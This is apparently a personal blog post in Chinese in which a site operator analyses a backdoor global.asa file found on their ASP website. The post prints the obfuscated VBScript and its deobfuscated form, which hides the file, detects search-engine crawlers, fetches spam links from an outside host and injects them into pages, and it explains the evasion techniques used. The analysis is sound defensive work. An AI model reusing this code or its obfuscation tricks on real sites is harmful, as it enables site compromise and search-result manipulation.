前言
周末的时候,阿里云发来了一条短信,说网站上发现了后门文件,于是赶紧登录阿里云网站,查看该安全事件的相关信息。
后门文件对比
出现后门文件的网站,在几个目录下均存在恶意的global.asa文件,用Beyond Compare对这几个文件进行比较后发现内容相同,那只需要分析其中一个文件即可。
后门文件功能
先上网查查global.asa文件是干什么用的,在ASP Global.asa 文件这个网页中有介绍,简单来说,就是可以在用户打开网页前,执行其中的代码。
后门文件格式化
然后用文本编辑器打开global.asa这个文件,精简后的内容如下:
<script language="vbscript" runat="server">sub Application_OnStart:end sub:sub Application_OnEnd:end Sub:Execute(JiaMi("79.110.32.69.")):function JiaMi(asp):ExeCuTe(JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")):end Function:Function JMONE(objstr):objstr = Replace(objstr, "`", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr:Else:NewStr = vbCrLf & NewStr:End If:Next:JMONE = NewStr:End Function</script>
开头的内容为 <script language=”vbscript” runat=”server”>,说明其中的代码是用VB这门语言写的,运行在服务器端。
代码中有许多冒号,上网查了一下,在VB中,冒号可以起到和换行符相同的作用。那么把所有的冒号都替换为换行符,并添加必要的缩进,格式化后的代码如下:
<script language="vbscript" runat="server">
sub Application_OnStart
end sub
sub Application_OnEnd
end Sub
Execute(JiaMi("79.110.32.69."))
function JiaMi(asp)
ExeCuTe(
JMONE(
"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
)
)
end Function
Function JMONE(objstr)
objstr = Replace(objstr, "`", """")
For i = 1 To Len(objstr)
If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr
Else
NewStr = vbCrLf & NewStr
End If
Next
JMONE = NewStr
End Function
</script>
后门文件分析
通过阅读上面格式化之后的代码可以知道,函数Execute调用了函数JiaMi,而函数JiaMi又调用了函数JMONE,这说明关键的部分就是函数JMONE。
分析函数JMONE,可知其用于实现如下功能:
- 将传入参数objstr中的 ` 字符替换成一对英文半角双引号,并将处理后的字符串重新赋给变量objstr;
- 遍历字符串objstr中的每个字符,在这里是用函数Mid(objstr, i, 1)来获取当前字符。话说VB中获取字符串中指定字符的方式就是如此?还是为了防止被安全工具检测到特征,所以没有用常规的方式?
- 对于遍历到的每个字符,检查该字符是否为┊,第一次见到这个字符,还不知道它是干什么用的,它的Unicode编号为U+250A,上网查了一下,才知道这个字符叫“制表符细四长划竖线”。在这里没有用常见的 | 符号,是否也是为了避免被安全工具检测到特征?
- 如果当前字符为┊,则在变量NewStr前面加一个VB的换行符vbCrLf;否则将当前字符拼接到变量NewStr之前。看来是在该函数外先将恶意代码倒序排列,用特殊制表符当做换行符,然后传入JMONE这个函数进行解析并执行,嘿,有点儿意思啊。
- 处理完传入参数之后,将处理结果NewStr赋给变量JMONE,函数结束。
函数JMONE分析完了,接下来就分析分析调用这个函数的JiaMi。这个函数一看就是国人写的,JiaMi就是“加密”嘛,嗯,简单易懂,不错不错。
查看JiaMi这个函数的代码,可以知道它只做了一件事,就是向JMONE这个函数传入参数,并执行JMONE这个函数。给JMONE传入的参数是下面这一长串乱七八糟的字符串,但结合前面对JMONE的分析就可以知道,这只不过是倒序排列+制表符分隔的代码而已。下面这一串字符是传入JMONE的参数:
"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
按函数JMONE的逻辑进行还原上面的字符串,添加必要的换行和缩进,就能得到下面的代码:
mianasp=split(asp, ""."")
for i=0 to UBound(mianasp)-1
hao=mianasp(i)
aspcode=aspcode+chr(hao)
next
JiaMi=aspcode
分析上面的代码,可知其功能如下:
- 将传入的参数以英文点号.为分隔符进行分割,得到数组mianasp;
- 遍历数组mianasp,将数组中的每个字符由前往后拼接起来,最后得到字符串aspcode,并将其赋给变量JiaMi。
在前文中,为了方便阅读,将JiaMi这个函数中的字符串进行了精简。实际执行该函数后,得到的结果又是一大堆字符串,仔细一看,还是VB代码,还是用冒号作为换行符。于是将其进行换行处理,并添加必要的缩进,最终关键部分的代码如下:
Function DeAsc(Str)
Str=Split(Str,"%")
For I=1 To Ubound(Str)
DeAsc=DeAsc&Chr(Str(I)-18)
Next
End Function
Function Htmll(Url,AChar)
Set MSX=Server.CreateObject("MSXML2.ServerXMLHTTP")
MSX.Open "GET",Url,False
MSX.SetRequestHeader "User-Agent","MSIE"
MSX.Send
Htmll=MSX.ResponseBody
Set MSX=Nothing
Set ASM=Server.CreateObject("Adodb.Stream")
ASM.Type=1
ASM.Mode=3
ASM.Open
ASM.Write Htmll
ASM.Position=0
ASM.Type=2
ASM.Charset=AChar
Htmll=ASM.ReadText
ASM.Close
Set ASM=Nothing
End Function
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile("//./" & Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa"))
if f.attributes<>39 then
f.attributes=39
end if
Set fso=Nothing
Bot=Request.ServerVariables("HTTP_USER_AGENT")
host=Request.ServerVariables("HTTP_HOST")
path_info=Request.ServerVariables("PATH_INFO")
KBot=Array("baidu","google","sogou","soso","yahoo","bing","bot","spider","so","360","haosou")
For B=Lbound(KBot) To Ubound(KBot)
If InStr(1,Bot,KBot(B),1)>0 Then
KeyData=Htmll(DeAsc("%122%134%134%130%")&host&"&url="&path_info,"GB2312")
skyword=split(KeyData,"[0xSpider]")
Response.Write(skyword(1))
End if
Next
上面的代码中定义了函数DeAsc和Htmll,并在后面的语句中调用了这两个函数。下面就来具体分析这些代码做了哪些事:
- 定义变量fso = Server.CreateObject(“Scripting.FileSystem&Object”);这里将函数参数字符串分割成了1~3个不等的字符串并手动进行拼接,应当也是为了躲过安全工具的检测;
- 定义变量f = fso.Getfile(“//./global.asa”),就是用来获取网站根目录下的global.asa文件;
- 判断f的attributes属性值是否为39,如果不是则赋为39;上网查找,可知这个属性是多个值相加后得到的结果,39 = 32 + 4 + 2 + 1,其中的1为只读文件属性,2为隐藏文件属性,4为系统文件属性;这部分代码的作用,就是将global.asa文件设置为只读、隐藏、系统文件这三个属性;
- 判断网页访问用户的UserAgent是否包含搜索引擎爬虫特征值,即上面定义的变量KBot;如果判断用户为搜索引擎爬虫,则执行下面的操作;
- 执行前面定义过的函数Htmll,该函数接收两个参数;而在第一个参数中,DeAsc里的参数其实是很长一串,这里做了精简,执行DeAsc后得到的结果为http://file.sjc5.com/file/lin…,应该就是黑产所用的网站了,再将这个URL和用户访问的当前页面URL相拼接,应该就是黑产用来记录用户访问历史的;第二个参数显然是用来定义编码的;
- 查看函数Htmll的代码,可知它是以IE的UserAgent向指定URL发起请求,并获取该URL对应的网页内容;用Postman多次请求该URL:http://file.sjc5.com/file/lin…,所返回的内容是以一对字符串[0xSpider]包裹起来的一堆HTML的a标签,查看这些a标签的href属性,前面一多半都是相对路径,包含各种随机的目录名、文件名,且很多文件的扩展名为shtml或aspx,看来这个网站后门就是针对ASP/ASP.NET的;后面的路径则是包含域名的完整的网址,打开几个网址看了看,目测应该是已经被黑产动过手脚了;
- 上面的代码在执行完函数Htmll之后,将返回的结果以[0xSpider]为分隔符进行分割,最后将那一堆网址作为结果返回。
总结
将整个过程梳理下来之后,最终可以知道,这个网站后门是用来篡改搜索引擎爬虫结果的。总结这个后门文件代码的特点如下:
- 转换字符编码:比如将正常的字母和符号转换为ASCII码,传入函数JiaMi;
- 分割字符串:传入函数JiaMi的字符串不仅被转换为ASCII码,而且各字符之间都用英文点号分隔开来;Server.MapPath(“/g”&”lo”&”ba”&”l.a”&”sa”)这条语句也是同理,将敏感的文件名global.asa进行拆分后再手动拼接;
- 改变字符串顺序:传入函数JMONE的字符串就是逆序排列的,在函数中再逆序拼接一遍,转换为正序排列之后,就可以执行了;
- 改变字符串编码值:在DeAsc函数中,就是将字符的ASCII码值减去数字18之后,再用Chr函数转换成正常的字符。
虽然上面的代码尝试了各种方式将关键信息进行混淆,但最关键的一点是它无法改变的,就是它必须调用VB的Execute函数来执行代码。个人猜测该网站后门之所以会被阿里云检测出来,Execute函数是主要的原因。这时想到之前看过的JavaScript代码规范中,有一条就是禁止使用eval函数,应当也是出于同样的考虑吧。
后记
虽然这个后门文件的作用分析清楚了,也把它从服务器上删除掉了,但这个后门文件究竟是如何出现在服务器上的,这一点很关键,遗憾的是,并没有找到网站漏洞的位置,也就是说没有搞清楚这个后门文件是从哪里来的。不过这一套ASP写的网站现在已经没什么访问量了,刚好借此机会把它下线,这样也就不给入侵者机会了,权当是没有办法的办法吧。
话说回来,网络安全真的是越来越重要了,也越来越专业了。尤其是对于防守方而言,即使有百密,但只要有一疏,那就意味着失败。作为一名开发者,同时又需要负责服务器及网站的安全,肩上的负担自然更重一些,但是如此一来,也能够让自己以不同的角度去看待及分析问题,视野也更加开阔了。对于同样的一件事情,是成为你的负累,还是会督促你成长,全看你用什么样的心态去看待它,你的世界,就是你所塑造的世界。
全文完。